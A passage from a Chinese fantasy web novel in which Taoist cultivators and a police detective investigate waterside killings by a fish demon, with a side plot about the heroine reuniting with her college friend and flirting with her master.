傅清微:【只有我在想会不会真的有生命危险吗?会不会是局里对咱们心性的考验】 公羊荪:【+1】 肖灵秀:【不会吧,以前的考试都是模拟实习,只有今年换了形式。据小道消息,灵管局缺人得很,我占师叔已经出差半个月没回鹤市了,天生的劳碌命】 公羊荪:【看来这条短信所言非虚】 傅清微:【璇玑没和你们在一起了吗?】 肖灵秀:【在边上喝奶茶[龙璇玑双手捧奶茶低头侧脸照.jpg]】 几个人就明天的任务发表了猜测,只猜到警局多半和凶案有关,聊不出具体内容,便各自下线练功了。 沉寂了半个小时之久的群里,终于多出一条孤零零的新消息。 龙璇玑:【我会保护你们的[握拳]】 众人:【^_^】 * 翌日九点,市局门口。 白术作为刑侦警察,经常私下走访,秘密侦查,平常穿的最多的不是警察制服,而是便衣。 今天也是一样。 她穿了一件灰绿色的工装外套,拉起外套可以掩盖训练背心的痕迹,深色的工装裤,脚下则是一双扎紧了鞋带的黑色作战靴,利落干练的刑警气质鲜明。 半长不短的长发扎在脑后,露出线条明净的一张脸,皮肤是健康的小麦色。 虽然是便衣打扮,但出门前收拾了一下自己,比平时的随意多了一丝妥帖,毕竟是见姊妹单位的人,得给市局留个好印象。 白副队提前半小时抵达,一位束着道髻,戴混元巾,怀抱马尾拂尘的小道长已经等在门口了,一见她,对视了几眼向她走过来。 小道士双手作礼:“福生无量天尊。” 白术:“……你好,同志,不是,小朋友。” 小道士客气道:“我姓龙,名璇玑。” 白术习惯性称姓:“小龙你好。我姓白,中药里的白术,你可以叫我副队或者白副队。” 龙璇玑眨了眨眼。 “白姐姐。” 白术笑弯了眼睛,问她:“小龙,你们来了几个人啊?” 龙璇玑说:“至少有五个人吧。” 白术闻言松了口气。 她不是以貌取人,但龙璇玑实在太小了,她上高一的侄女就这么大。 第二和第三个到的是公羊荪和肖灵秀,她们俩是一起来的,本来让龙璇玑一道,但是璇玑要第一个见到娘亲,她俩起床的时候她就没影了。 傅清微住得远,不仅要清晨下山还要开车进城,紧赶慢赶在八点四十五前抵达。 附近没有停车位,傅清微给肖灵秀打了个电话,间接让白副队打了声招呼才把车开进来内部的停车位。 白色轿车熟练地倒车入库。 公羊荪直觉道:“为什么傅道友比我们年纪还小,却有一种大人的感觉呢?” 肖灵秀故作深沉地叹了口气,说:“大概是因为她已经有家室了吧,还有房有车,人生赢家。” 公羊荪:“……有道理。” 有房有车无所谓,主要是有家室。 如果公羊荪多读一点乱七八糟的书,就会知道有个专业对口的形容词:人妻感。 龙璇玑悄悄踮起了脚。 白副队从她们的态度和她开车过来的与众不同,不由也升起了更多的期待,看向白车里下来的两个人和……一只猫??? 走在左边的是背着两把剑的年轻女生,年纪和肖灵秀差不多,穿了一身道袍,披纱罩在外面,同样是道袍,在场有三人都穿了,就她穿出了独一份儿的秀逸出尘,面容分外美好。 她身边抱猫的女人戴着口罩,眼睫微垂,虽然抬眼看了看她们,却给人一种眼睛里没看到任何人的感觉。 “蓬莱观傅清微,这位是我师尊,穆慈。”身背长剑的道袍女生自我介绍道。 “你好。”白术和她握了握手,入乡随俗地称呼道,“傅道长。” 傅清微忍不住抿嘴笑了一下。 出家这么久了,第一次有做了道士的实感。 为了在人群里背两把剑不显得突兀,早上傅清微特意换了身道袍,她不会梳道髻,还是师尊帮她挽的,白姝给的簪子正好用上。 穆若水在这方面的占有欲不强,不会让她全身上下只能戴她的东西,便宜不占白不占,脱了衣服身上只有她的味道就好。 白副队识趣地没有去和穆若水握手,只是颔首礼貌示意,老刑警这么多年了,眼光毒得很。 白术在这群人里默认了傅清微是她们的头儿,主要是她身边那个人应该只听她的。 “你们的人齐了吗?” 傅清微反应了一会儿才察觉她是对自己说话,她指了指自己:“啊?我吗?噢,我们也是刚接到任务,不清楚有没有别的同伴。” 白术:“?” 肖灵秀:“九点以前,如果还没有人来,就是只有我们五个。请你相信我们,不论出了什么事,我们一定会帮忙解决。” 绝对不能说她们是来考试的。 众人短短几天便训练出了默契,互视一眼达成共识。 穆若水&龙璇玑:不在意&听不懂但是不说话。 八点五十八分,马路对面走过来一个正在啃包子的女生,她走得不快,吃包子的速度更慢,虽然动作斯文,但给人一种马上就要睡着的感觉。 她以一种睡着微醒的状态来到众人面前,说:“灵管局……扶鸾……报到。” 众人:“……” 九点整,分秒不差。 白术整理了自己接二连三受到冲击的心情,拍了拍手整队道:“既然全员到齐,请各位随我来。” 五人和一只飘跟随白术进了市刑警支队,关上了会议室的门,桌上已经摆放好了资料。 傅清微翻开第一页,比她想象的厚,一叠里面全是人类尸骨的照片,未打码高清版本。 她看了一眼,胃部开始翻江倒海,强忍住了呕吐的欲望。 再看一眼其他人,大家的脸都是绿的,和她大同小异。 只有穆若水和龙璇玑一个托着下巴百无聊赖地看,另一个人两手捧着,有些不适但能看下去,毕竟对她而言不是同类。 这就是妖吗? 傅清微察觉自己将穆若水也包括进去,连忙找补了一句:师尊不愧是师尊。 而扶鸾已经趴在桌上睡着了,连资料都没翻开。 肖灵秀向白副队解释了一句:“她的本事和我们都不一样,负面作用就是容易犯困。” 白术却体贴地说:“你们要不要先去吐一下?脸色都不好看。” 三人:“不用了,您说吧。” 白术道:“前天夜晚的儿童被害案,就是资料里的第一页,我们经过对尸骨的检验和痕迹比对,认为不是孤案,已经启动了并案调查,按照时间顺序,得从三个月前说起……” 鹤市西郊有一个水库,上过学的都知道,一到寒暑假学校就严令禁止同学们去水库玩耍游泳,尤其是夏天,不听劝告私自下水游泳的,溺亡人数始终不少。 但三个月前是冬天,按理说冬泳的人肯定比夏天少,但是水库淹死的人莫名其妙地变多了。有不少是附近的居民,小孩子居多,女性也有,一问都是平时不游泳的。 俗话说淹死的都是会水的,因为怕水的人不会主动靠近水,就像傅清微这种旱鸭子,如无意外,一定会远离水库。 所以说死亡的女性和小孩可能不是自愿走入水库的。 肖灵秀按着笔说:“会不会是湖里有水猴子?” 白术身为市局的对接人,对民俗志怪有所了解。水猴子,是一种俗称,其实就是水鬼。民间传说溺死的人无法转世,所以溺死之人要找替死鬼,半夜走在河边,如果听到有人叫你的名字,千万不能回答,只要应了就会被拉进水里,再也上不来。 白副队:“水猴子会吃人吗?” 肖灵秀:“有说会吃指甲和眼珠的,有说食人血的。” 白副队:“会不会把人吃到只剩下骨头?” 肖灵秀:“这倒没有听说,你们呢?” 傅清微和公羊荪摇头。 白术指定她们翻到某一页,水库里捞上来的尸体残缺不全,有被鱼群啃咬过的痕迹,面目全非,有的只剩下一堆骨头,手和脚都小小的,一看就是孩子的尸骨。 会议室的门被从里面拉开,三道身影争先恐后地扑了出来,走廊的卫生间里传来此起彼伏的呕吐声。 傅清微是个平时连鬼片都不敢自己看的人。 没人告诉她加入灵管局以后,要面对如此血腥真实的画面。她以为的斩妖除魔,具象到眼前,就是一个个惨死在妖魔手下的同类。 三人从隔间里先后出来,眼圈都红了。 肖灵秀攥紧了拳头发誓道:“我一定要杀了它!!!” 害大人就算了,害小孩算什么本事? 傅清微和公羊荪的情绪没她那么外露,但互相从彼此眼中看到了相同的情绪。 三人回到会议室,比方才的气氛安静凝重许多。 “我们排查了附近所有的监控,因为找不到凶手,现场也没有留下任何蛛丝马迹,无从查起,只好封锁了水库,之后就再也没有出现意外落水的事故了。” “没有再继续查下去吗?” 白术有些惭愧,说:“很抱歉,这是一桩悬案,水库面积非常大,光是尸体打捞都不是易事,每年都有人在里面失踪找不到,在毫无线索的情况下投入调查是浪费警力。” 而且一旦立案,十几人的死亡是大案,又无法侦破,他们怎么和民众交代? 警方也是凡人,找不到别的死亡理由。 白术的激光笔按了一下,投影幕布里儿童尸骨的画面放大特写,上面有一些密密麻麻的印记。 肖灵秀:“什么东西?” 傅清微:“看着好像是牙印。”师尊有时候会咬她两口,也是这样的记号。 只是这个东西……牙也太多了吧? 岂不是一张嘴都是牙? 白术:“在水库里死亡的儿童的骨头和前两天被害的儿童骨头上出现了同样的牙印。” 隔了三个月才再次作案吗? 傅清微沉吟,问:“所有的受害者都在这里了吗?” 白术:“不是。” 众人心跟着一沉。 她再次按了几下激光笔,PPT里的画面来到后面几张,相同点都是水边,都有尸体。 白术还要讲下去,傅清微打断她道:“白副队,你这样讲我们没办法做出判断,不如直接带我们去现场,说不定会留下那东西的气息。” 白术:“先去水库还是案发时间最近的现场?” 肖灵秀当机立断:“时间最近的,气味越浓烈。” 白术说好,一行人立刻出发,肖灵秀路过拍了拍扶鸾的肩膀,和公羊荪一起把她架起来带走了。 正好六个人,警方准备了一辆七座车,白术充当司机,带她们到了街道的绿色垃圾桶。 白术把笔记本电脑抱在怀里,调出图片实时讲解:“我们调了对面便利店的监控,拍到了这个。” 傅清微一行朝电脑屏幕看过去。 一个非常模糊的黑影,如果不是白术特意说,她们还以为是风吹动树木的树影。 它应该有两米多高,通体漆黑,又高又大,看不出具体的轮廓,亦或是根本没有轮廓。 案发已经过去两天,现场人来人往,垃圾桶也清理过,什么气味都没留下。 白术带她们重新往车的方向走去,说:“我们要去的第二个地方是C大。” 穆若水停下了脚步。 傅清微脱口道:“什么?!” 白术不明所以地回头:“怎么了?” 傅清微尽量镇静地说:“没什么,我是那里的学生,大四在读。” 众人&白术:“……” 白术在前方静静地开车,后面的人在合伙蛐蛐傅清微:“你你你、你怎么还是个在读女大啊?” “你们事先也没问我啊。”傅清微坐在第三排的座位,整个人躲进穆若水的怀里。 “堂堂的蓬莱观慈让真人的徒弟……的徒弟竟然是大学生!还在读!” “我们都是大人了,就你一个学生!” “就是就是。” “我觉得自己老了——” “谁不是呢?”刚刚还说傅清微像个人妻的公羊荪转口自怜自艾道。 “你们怎么不说璇玑小啊,她还是未成年呢。”傅清微反驳道。 “璇玑她本来就小,而且她又没家室!” 家室从口罩后传出一声轻咳,制止了这场针对傅清微的闹剧。 傅清微转过去撒娇:“师尊,她们欺负我。” 穆若水温和地说:“为师把她们全杀了,可好?” 她早已学会开玩笑,不是真的要杀傅清微的朋友。 傅清微笑着回她“那倒也不必”,然后伏在她耳边说了几句话,近得仿佛在亲吻她的耳廓。 穆若水垂下眼睑,微微地笑了一下。 肖灵秀的视角看得一清二楚,生吞狗粮,大叫道:“还不如把我杀了呢!” 睡着的扶鸾被她惊醒,睁眼四顾心茫然。 肖灵秀一把将她按下去,说:“早点睡够早点清醒。” 扶鸾倒头继续睡去。 傅清微大四完全没有课了,只剩一个毕业论文。好久没回母校,并不知道学校出了事,她知晓的第一时间给甘棠发消息问她平安。 甘棠秒回:【怎么了?】 傅清微:【没事,有事回学校一趟】 甘棠:【我正好在学校,咱俩搓一顿】 傅清微:【我有要紧事,可能吃不上饭了】 甘棠:【???】 之后傅清微就上了车,被蛐蛐了一路。 C大唯一的水边就是校内的人工湖,这片人工湖不全是挖的,它本来是图书馆后面的一小片水域,某任校长在任期间重新规划出来,建了一个人工湖,风景绝佳,不少小情侣晚上都过来约会。 出现溺亡事故后,也没有减少学生在湖边散步背书的热情,直到警方决定立案和灵管局一起调查,校方才竖了个牌子,暂时禁止学生靠近。 白术带着几个道士打扮的人在校内疾步匆匆,前往人工湖,聚集了一大部分看热闹的学生,被拦在警戒线外探头探脑。 写论文写得狂躁的甘棠听说之后,立马下楼去图书馆后面看热闹。 上次的和尚没拍到,这次的道士她非得拍给傅清微分享一下不可。 甘棠好不容易挤到前排,给傅清微发语音:“姐妹今天学校有大热闹,你可一定要过来看啊,就在人工湖这边,你等我给你拍照。” 那个背着两把剑的女道士虽然背对着她,但是这身材这细腰,指定好看。 露出来的脖子修长白皙,和她的姐们有一拼。 甘棠举起手机,满心期待地对准了那名秀逸出尘的女道士。 道士不经意转了过来,刚好面向她站着,道袍的长长衣带被风吹动,飘然若仙。 甘棠的目光向上移到她的脸:“……卧槽。” 第82章 甘棠的手机第一时间按下快门, 使劲拍,正面侧面特写。 都是罪证、罪证! 傅清微欺骗她的罪证! 她的好姐妹,背着她出家当道士了!还有了好几个道士朋友! 等等, 哪一个是女主B? CP脑占据上风的甘棠立马转移了注意力, 开始专注拍其中最有可能的, 戴着口罩、气质神秘的青袍女人。 那只小三花,不就是上次傅清微朋友圈里发的吗?! 踏破铁鞋无觅处, 可算让她现场嗑到一口了。 甘棠把镜头拉远, 从特写变成拍二人合照。 她被傅清微欺骗还给她俩拍合照,世上哪有她这么好的姐妹? 甘棠的怨念实在深厚, 又是她唯一的好朋友, 十分熟悉。 傅清微转过来之后,几乎在同时看到了对方,两个人的目光在空中飞快地交汇了一瞬, 傅清微假装若无其事地错开。 查案现场, 不方便寒暄。 毕业季了,留校瞎逛的大四生很少,学校认出她的应该不多, 她又换了身道士装扮,只有她的好闺蜜甘棠能第一时间发现她的学生身份。 人群里一道诧异的声音道:“哎,那个道士怎么那么像我们学校的傅清微啊?” “哪个?” “道袍外面罩了层藏青色披纱,背了两把剑, 最漂亮的那个,看到没?” “哦哦哦看到了, 还真是她。” “她怎么当道士去了?” “我啷个晓得嘛。” 傅清微:“……” 修道之人耳聪目明, 人群里的议论自然收入眼中,几个同伴都抿嘴偷笑。 肖灵秀打趣道:“傅道友在学校名气不小啊。” 傅清微本能用眼神去找穆若水, 穆若水配合地低咳了一声。 几个人立马不笑了。 白副队也收起不自觉的笑容,对众人继续道:“案发时间是一周前,有一对学生情侣晚上在湖边散步,不知道因为什么争吵起来了,女的就跳湖了,男的跳进去救她,两个人都没救上来。” 肖灵秀:“听起来像自杀。” 傅清微:“有目击者吗?” 白术把两个问题一起回答了,说:“那晚湖边有其他学生看到了,警方分别询问目击者做了笔录。当时确实以自杀结的案,但是现在看来案情有两个疑点。” 疑点一,这对情侣落水以后,有其他同学下水试图救他们上来,一名下水救人的同学声称,她当时已经抓到了那名女同学,但是怎么都拖不动她,差点自己也被拉下水,紧急关头只好放开了她的手,眼睁睁看着她沉了下去。这名勇敢救人的女生现在还在进行心理干预。 后来检查尸体时发现女死者脚上缠了水草,但以湖水的深度和水草的高度,女死者当时刚落水,应该不至于立刻缠上水草。 一切都有偶然,说不好死者就是倒霉,这个不算疑点的疑点不了了之。 疑点二,打捞上来的尸体有被啃食的痕迹。 男死者被咬了一口,而女死者的伤口就比较多了,法医根据痕迹判断是鱼咬的,非常不可思议,但鉴定结果就是这样。 众人看了看笔记本里的照片。 男死者的腿上有一道伤口,被水泡白了,浮肿着。 女死者的手脚都有伤,细细密密的,小腿和手腕有的地方甚至露出了森森白骨。 几人强忍着不适看完了图片细节。 白术合上电脑,说:“第二天辖区派出所的民警就下水了,探查过水底,什么都没有,只有一些水草。” 傅清微:“那鱼呢?” 白术道:“排查过了,湖里都是些常见的鱼,人工湖有养殖记录。但实话说,如果凶手是鱼,一般我们也很难捉拿归案。何况有人看到他们自己跳湖,是先落水死亡再被鱼咬的。” 民警亲自下水查了大半天,排除隐患,已经很尽责任了。 公羊荪站在湖边,泥土较湿润,她蹲下来蹭了点,用拇指和食指捻了捻,凑到鼻前,沿着湖走了一圈,回到大家身边。 白术:“发现什么了吗?” 公羊荪:“鱼腥味。” 白术:“我没有闻到。” 公羊荪:“很淡。”她指了脚下的地方,“它应该是从这里上的岸。” 傅清微小声对穆若水道:“我什么都闻不到,师尊你呢?” 穆若水淡淡地说:“区区小妖,还不配让我闻它的气息。” 傅清微:“……” 她怀疑师尊没闻到还给自己挽尊。 傅清微张了张嘴。 穆若水看穿她所想,提前说:“别妄想对我用激将法,我不是来给灵管局打工的。” 她就是来陪傅清微的,主打陪伴,其他什么都不做,灵管局休想利用她这个免费劳动力,有损她真人颜面。 什么?她拿了灵管局的顾问津贴?那是岁已寒主动孝敬她的。谁规定拿了钱就一定要干活? 龙璇玑背着围观群众,手指碰到地面的泥土,指尖分出细芽,悄悄扎进河边的湿泥。 接着她把一节深入土壤的桃枝递给大家。 肖灵秀:“我闻到了,确实有腥味。” 白术说:“我也闻到了,桃枝哪里来的?” 站得离水边最远的傅清微接过来嗅了嗅,腥味扑鼻,说:“但水边的泥土有鱼腥味不是正常的吗?” 龙璇玑耷拉下耳朵。 傅清微生硬地一转:“可、可话又说回来,腥得不正常,你们觉得呢?” 肖灵秀说:“必须不正常啊,璇玑给我们提供的这条线索太重要了,我打算和公羊道友一起下水看看。” 第一个发现线索的公羊荪:“是,水下可能有更多的线索。” 龙璇玑抬起头,大眼睛亮闪闪。 白术:“需不需要专业的潜水设备?” “不用了,这个湖不深,我们会闭气。” 公羊荪已经脱了外袍,解下软鞭缠在手上,肖灵秀的道袍也由傅清微拿着,长剑绑在后背,和公羊荪一道下了水。 瞧见两人潇洒入水的姿势,傅清微不由有些羡慕。 谁让她是个不折不扣的旱鸭子呢? “师尊,你会水吗?” “不会。” 傅清微顿时好受许多。 这就叫有其师必有其徒。 穆若水似笑非笑:“但是我可以在水下呼吸。” 傅清微又:“……” 穆若水伸手捏了捏她的脸,傅清微笑得一脸不值钱。 正在录像的甘棠没眼看。 龙璇玑从河边走过来,默默接过傅清微手里的衣服,担忧地问:“肖道友和公羊姐姐会有事吗?” 傅清微说:“不会的,那个东西应该已经走了。师尊,你说是吗?” 穆若水不会不理她:“是。” 傅清微拍拍璇玑的肩:“没事的,不用担心。” 湖面风平浪静,每隔几分钟,两个人轮流上来换气,继续潜入湖底。 不放心的璇玑盯着水面数时间,有她关注二人,其他人就放心了。 她们俩探查湖底的时候,傅清微也没闲着,她让白副队把电脑打开继续看尸体的照片,整理目前的线索。 白副队之所以把这桩案子也并案调查,是因为她重新整理了案件资料,查阅了所有笔录,她是专业的,傅清微就不再找共通点去证明是同一个凶手了。 女死者的伤口是鱼咬的,有两个可能,要么是那个东西命令鱼咬的,要么凶手就是鱼化的精怪,特点是嘴里长了很多排牙,可以引发密集恐惧症的那种。 公羊荪说岸上有离去不久的鱼腥味,傅清微的猜测偏向后者。 笔电的资料里提到半个月前,在另一处水边有钓鱼佬在清早钓到了死去不久的尸骨。按照受害者的死亡时间排序,它是从鹤市西郊的水库一步一步作案,行动轨迹越来越靠近城区,但它还不敢进城,最后两起分别是郊区的大学城人工湖,和人流稀少的街道。 根据移动的势头,它离开水域到岸上作案,越来越贪婪,尸骨直接丢在垃圾桶,也越来越不掩饰了。不知道是它太猖狂自恃不会被抓还是杀戮会上瘾,它控制不住了。 所有的受害者里儿童的数量最多,其次是女人,儿童被吃得血肉全无,只剩骨头,女人挑着吃,所以肢体残缺,男的不好吃直接淹死不管。 但它并没有因为男的不好吃就不杀男的,也杀,为了杀而杀。 妖魔究竟是什么样的存在?难道天生就是为了杀戮而存在吗? 妖和魔是不是有所不同?为什么她身边的龙璇玑同样是妖,民宿老板娘也是妖,却对人类十分友好? 怎么她从来没有见过任何一只魔物。 她问穆若水,穆若水回她:“妖是妖,魔是魔。在人类的角度,妖有好坏之分,魔没有。” 傅清微:“那依师尊看,这次作乱的是妖还是魔?” 穆若水:“……” 傅清微:“师尊不想说就算了,不管是什么,我们都会除掉它。” 穆若水还是透了谜底给她:“低智的妖魔只会杀戮,往往连化形都不完全,维持着原始特征。” “妖魔是什么?不是说妖和魔不是同类吗?” “人会入魔,妖就不会吗?”穆若水梳着怀里小三花的毛,半垂着眼皮,淡淡道。 傅清微还没正式加入灵管局,也不是在宗门自小修炼的修士,懂的少,她不知道穆若水随口的一句话是灵管局中层以上隐瞒许久的秘密。 占英都是近日才知晓,因为魔气正在四处渗透,她带人赶去处理,必须知道要做什么,对手是谁。 这个时代已经很久没有魔出现了,这是一件天大的事。 灵管局为此焦头烂额。 但傅清微又不知道这是大事,就只是听进了耳朵。 傅清微点了点头:“原来如此。” 穆若水忍不住说:“……就这样?” “我应该……怎么样吗?”傅清微小心翼翼、不理解地问。 “有时候无知也是一种智慧吧。”穆若水幽幽地说。 “啊?” 穆若水不想和她讲话,傅清微瞧了眼水面,那两个人已经回来了。 围观的学生群众被校方的老师和保安驱散了,傅清微兜里的手机震了好几下,她回了甘棠一句晚点说,手机就不再响了。 退出聊天界面前,她看到甘棠给她发了好多照片,傅清微眼前一亮,忍住了没有看。 公羊荪和肖灵秀上了岸,虽然开春了但湖水的温度仍然很低,两人在湖里泡了将近一个小时,冻得嘴唇煞白,岸上的冷风一吹,直打寒颤。 白术提前准备了两条大毛巾赶紧送过来给二人披上。 肖灵秀裹在身上,哆哆嗦嗦的冷战好了许多。 公羊荪身体比她强些,负责开口说:“湖底有妖气,确实有东西不久前来过,遗憾的是没能找到更多的线索,进一步确定它是什么。” 傅清微说了自己的推测,可能是鱼化形的妖怪,它的喜好是吃儿童,以及它的行动轨迹越来越接近城里。 肖灵秀:“咱们现在去哪儿?” 白术说:“快一点了,要不先在学校吃个饭吧。” 众人这才感觉饥肠辘辘。 穆若水和龙璇玑除外。 公羊荪和肖灵秀的衣服还是湿的,上车换了衣服才前往食堂。 傅清微抽空约甘棠在食堂见了一面。 时间紧迫,只有一顿饭的时间。 傅清微和穆若水坐在对面,甘棠抓紧时间:“这位就是女主B吧?” 穆若水:“?”不解但是不问。 傅清微:“是。” 甘棠苍蝇搓手,嘿嘿嘿。 傅清微:“……” 甘棠想起正事,又问:“不是,姐们你怎么真出家当道士了啊?” 傅清微面不改色:“不是跟你说我找到了个六险二金的工作吗?就是这个。” 甘棠也想干,跃跃欲试:“卡学历吗?我有没有机会。” 傅清微:“卡颜,卡身高。” 甘棠汗颜:“那算了。”她指指她背上的剑,和隔壁坐着闷头吃饭的一桌,“你们这是在……” 傅清微隐瞒了灵管局的存在,说:“道协下发的任务,具体内容得保密。” 三下五除二解决了甘棠的问题,甘棠不忙着吃饭,饭什么时候都能吃,朋友不是什么时候都能见着。 傅清微用餐的时候她就起身去她背后碰碰她的剑鞘,絮絮叨叨:“姐们你现在也是发达了,以后的日子我照顾不到你,你可得好好照顾自己,苟富贵,汪汪汪。” 甘棠用开玩笑的语气说着真心话,傅清微动筷的速度慢下来,低低地“嗯”了声。 旁边那桌吃完了,朝傅清微看过来,是准备走了。 一行六七人站在一起,甘棠在对面朝她挥挥手,眼圈绯红:“有空记得回我消息。” 傅清微说不出话,把手机拿出来指给她看。 就算她们离彼此的世界越来越远,也会保持联系,做永远的朋友。 肖灵秀重提饭前的问题:“咱们接下来去哪儿?” 公羊荪说:“继续去其他的案发现场。” 傅清微下意识想举手,抬到一半穆若水及时把她的手按了下来。 傅清微顺势牵住她的手,提议:“我们分头行动吧。” 傅清微不会水,暂时也分不清妖气什么味道,跟着去助力不大,她想在学校找几只鬼问问,万一有目击鬼呢。现在道士太多了,鬼都不敢出来。 水边的案发现场连成一条线,开过去刚好顺路,终点是城西水库,天黑之前她们在水库汇合。 既然最初的案子是在水库发生的,极有可能水库就是它的老巢,妖怪既然没有完全化形,不可能白天出来作案,目前应该藏在安全的水域里,但谁都不能保证它今晚不会作乱,所以天黑之前她们要赶到水库,免得它从水里出来。 ——一切都是基于猜测,但在大海捞针的情况下,只有先把水库的路堵死。 它作案的所有水域中,水库是最大的,观主都喜欢睡大床了,妖应该也喜欢待在宽敞的老巢,傅清微以此推论道。 傅清微:“如果没有线索,你们就尽快赶到水库,我随后就到。” 今天来不及,她们最晚明天就要下水,白术去联系人弄来专业的潜水设备,不出意外的话明天一早就要用。 众人的目光微妙地在她们牵在一起的手停留了两秒。 肖灵秀:“赞同。” 公羊荪:“我也赞同。” 不知道是赞同她的提议还是赞同这门亲事。 龙璇玑藏在道袍里的小手诀一捏,应景地飘了几朵桃花在二人肩膀和头顶。 好歹没再下桃花雨。 白副队:“嗯?哪里来的桃花?” 傅清微把桃花拿下来,先握在掌心,确认了一遍安排,双方分头行动。 龙璇玑不舍地望了望傅清微,还是选择了跟着肖灵秀等人一组,娘亲有师娘保护,那边更需要她。 “晚上见,璇玑。”傅清微特意和她说了声,挥了挥手。 龙璇玑笑得弯了弯眼睛,转过身小一号的道袍背影蹦跳了两步,和肖灵秀一起走了。 穆若水落下一句哼:“不见你对我说话这么轻声细语。” 她率先走了。 傅清微连忙追上去。 师尊最近吃醋的症状越发严重了。 好不容易找到个楼梯拐角,傅清微把她抱住了,差点就唱出那句:又怎么了我的大小姐? 问是不敢问的,只能哄这样子。 食堂的楼道偶有学生经过,看见一位背剑的道士和另一位看着也像道士的人在搂搂抱抱,打情骂俏。 从学生瞬间呆滞的目光可以看到她们受到的冲击。 傅清微在心里不停解释:我们是正一的,我们是正一的,道祖同意这门婚事。 好不容易把大小姐……师尊哄好了,傅清微打算在学校四处逛逛找找目击鬼,一出门,一只鬼看见她尖叫一声“妈呀有道士大家快跑啊——” 掉头就跑没影了。 傅清微:“……” 别说目击鬼了,鬼影都没一个。 傅清微低头看了看自己这身装扮,确实鬼见了闻风丧胆,于是将目光投向了穆若水,若有所思。 穆若水本能把猫举到胸前,说:“你想干什么?” 傅清微笑笑:“想带师尊去我的寝室。” 正在寝室发呆的甘棠听见开门声连忙抹了抹眼泪,一扭头正是害她掉眼泪的正主,尴尬得不知道摆出什么表情,对着电脑假装若无其事道:“在看电影。” 傅清微看着她的论文界面没有戳穿,毕竟论文难哭了的借口也没好到哪里去。 傅清微说:“我回来一趟,待会就得走了。” 甘棠回:“噢,好。” 甘棠坐在凳子里看着她,傅清微抬手解开了披纱的系带,三下五除二褪下外衫,丢在床上,只留下白色的里褂。 甘棠:“?” 穆若水怀里的小三花被放到地上,傅清微把她师尊推到床前,又开始脱她的衣服。 傅清微握住她腰间金白两色缠绕的细绳,一点一点将腰带抽离,松散她的衣袍。 “可以吗师尊?” “想做便做,不必问我。” 甘棠瞳孔地震:不是,不是不是,这里还有一个人呢? 你们就这样等不及要开搞了吗?! 第83章 甘棠捂住了自己的眼睛。 “想做就做, 不必问我。” 虽然傅清微知道自己要做什么,也知道穆若水明白她要做什么,但这句话还是引得她遐思了几秒。 想做什么都行吗? 傅清微余光瞧见侧后方甘棠的影子, 可惜了有个大电灯泡在。 现下也没有留给她们卿卿我我的时间。 傅清微解开了师尊的腰带, 褪下外袍, 和自己的衣物一起丢在床上,散落各处。 虽然什么都不能做, 但营造出了一种马上就要天雷地火的氛围感。 甘棠接受到她的眼神, 默了默,掏出手机开始拍照。 她真的不是爱拍这种画面的人, 请相信她! 傅清微替师尊理了理里面的衣领, 离开时指腹若有若无擦过女人的侧颈,弯腰从她身侧捡起穆若水的青色外袍穿在身上,系上金白两色交织的细绳, 连发髻都拆了, 师尊的丝绸发带也被薅走。 哪有徒弟这样对师尊的?! 穆若水:“……” 她或许一开始不应该答应她。 但傅清微穿上以后,她心里的后悔就荡然无存。 她们俩的身量相差不多,宽袍大袖更是抹平了这种差距, 傅清微很适合青色,在穆若水身上孤傲不群的山青,到她身上就是郎月清明的温润。 甘棠:“……” 你俩搁这换装play呢? 傅清微把师尊的行头扮上,却并未让穆若水穿自己的道袍。 她自己不穿成道士了, 师尊要是穿上道袍,估计方圆十里都不会有一只鬼敢冒头。 傅清微的宿舍没有完全搬空, 衣柜里还有几件备用的衣服, 她打开拿了唯一一件风衣出来,递给穆若水。 穆若水:“……” 甘棠:“……” 她明明直接可以穿自己的衣服, 非要把女主B的衣服扒了! 是她第一次认清女主A的真面目,还是女主A自有她的道理? 傅清微没有道理,但有明目张胆的私心。 ——她就是想穿师尊的衣服。 穆若水接过好几个月没晾出来的风衣,一只袖子一只袖子由傅清微服侍给她穿上,睁一只眼闭一只眼地纵容了她。 唉。 她这个师尊当得颜面全无。 两人在甘棠的注视下换装完毕,傅清微给她扣上风衣扣子,仰起脸目光自下而上看她,两人深情对视,周围都是不相干的布景。 甘棠惊觉她竟成了play的一环。 傅清微小声对穆若水说了两句话。 穆若水伸手把已经跳到桌上去的小三花抱下来,去门口等她。 傅清微将一条红绳编制的五帝钱铜钱手串交到甘棠手里,没多说,只说:“随身佩戴。” 甘棠应好,当场戴在了手腕上。 “你亲自开光的吗?”闺蜜突然变道士还是让人匪夷所思,但是忍不住好奇。 “不是,高人开光的。”傅清微说,“遇到事情可以给我打电话,你明白我说的意思。” “明白明白。” 甘棠恍惚地心想:我这人脉也算是打开了。 傅清微又往她手里塞了两张叠成三角形的清心符,说:“这个是我亲自画的。我得走了。” “好。” 甘棠贴身收好符文,慢半拍地起身,刚想说“我送送你们”,门口的两个人已经不见了,她往走廊里瞧,两人脚步极快,眨眼间已到了楼梯间。 甘棠呆呆地回了宿舍,低头摸了摸手腕冰凉的五帝钱手串。 原来世上真的有鬼吗? * 傅清微踏入了大四上学期常去上课的那栋教学楼,她看了眼时间刚好差不多。 “学姐。”她扬声喊了一句。 “学妹好久不见呀。”绿衣服学姐鬼从远处飘了过来。 “好久不见,有点事想问学姐。” “什么事呀?”绿衣服学姐鬼围着她转圈圈,记性不好的她已经忘记上次被穆若水吓得屁滚尿流鬼打墙的事了。 “一周前,3月21日晚上,你们有没有看到学校里有奇怪的影子经过,特别是有没有当时在图书馆后湖边的鬼,目击一对情侣落水。” “……” 绿衣服学姐鬼的脸拉得老长,说:“你找我就是为了这事啊?你这是为难我的记性,我不知道。” 傅清微:“可以去找别人问问,你这么漂亮,人缘肯定好。” 绿衣服学姐鬼:“虽然你夸我我很开心,但我是不会帮你问的,麻烦死了。” 她扭头就要走。 傅清微拦在她面前,食中二指夹着一张符箓来回晃,朝她笑了笑,亲切地说:“你也不想魂飞魄散吧学姐?” 绿衣服学姐鬼梗住。 傅清微:“一个小时后回到这里,给我答复。” 绿衣服学姐鬼嘤嘤嘤地哭着跑了。 穆若水:“你就不担心她一去不回?” 傅清微:“不会,她没有那个脑子。” 穆若水说:“也是。” 傅清微拍了拍手,说:“走吧,我们继续去湖边看看,待会再回来。” 穆若水在心里自动给她翻译:去看看有没有别的鬼可以威胁。 徒儿肖师,她很欣慰。 * 傅清微从学校启程时在群里知会了一声。 肖灵秀:【我们也准备出发去水库了,其他水域要么太大不好下水找,要么就是时间太久了,气味都闻不到了,一无所获,你那边呢?】 傅清微:【有一些,不多,待会见面说】 肖灵秀:【我们今晚应该在湖边露营扎帐篷,你还在大学城那边吗?】 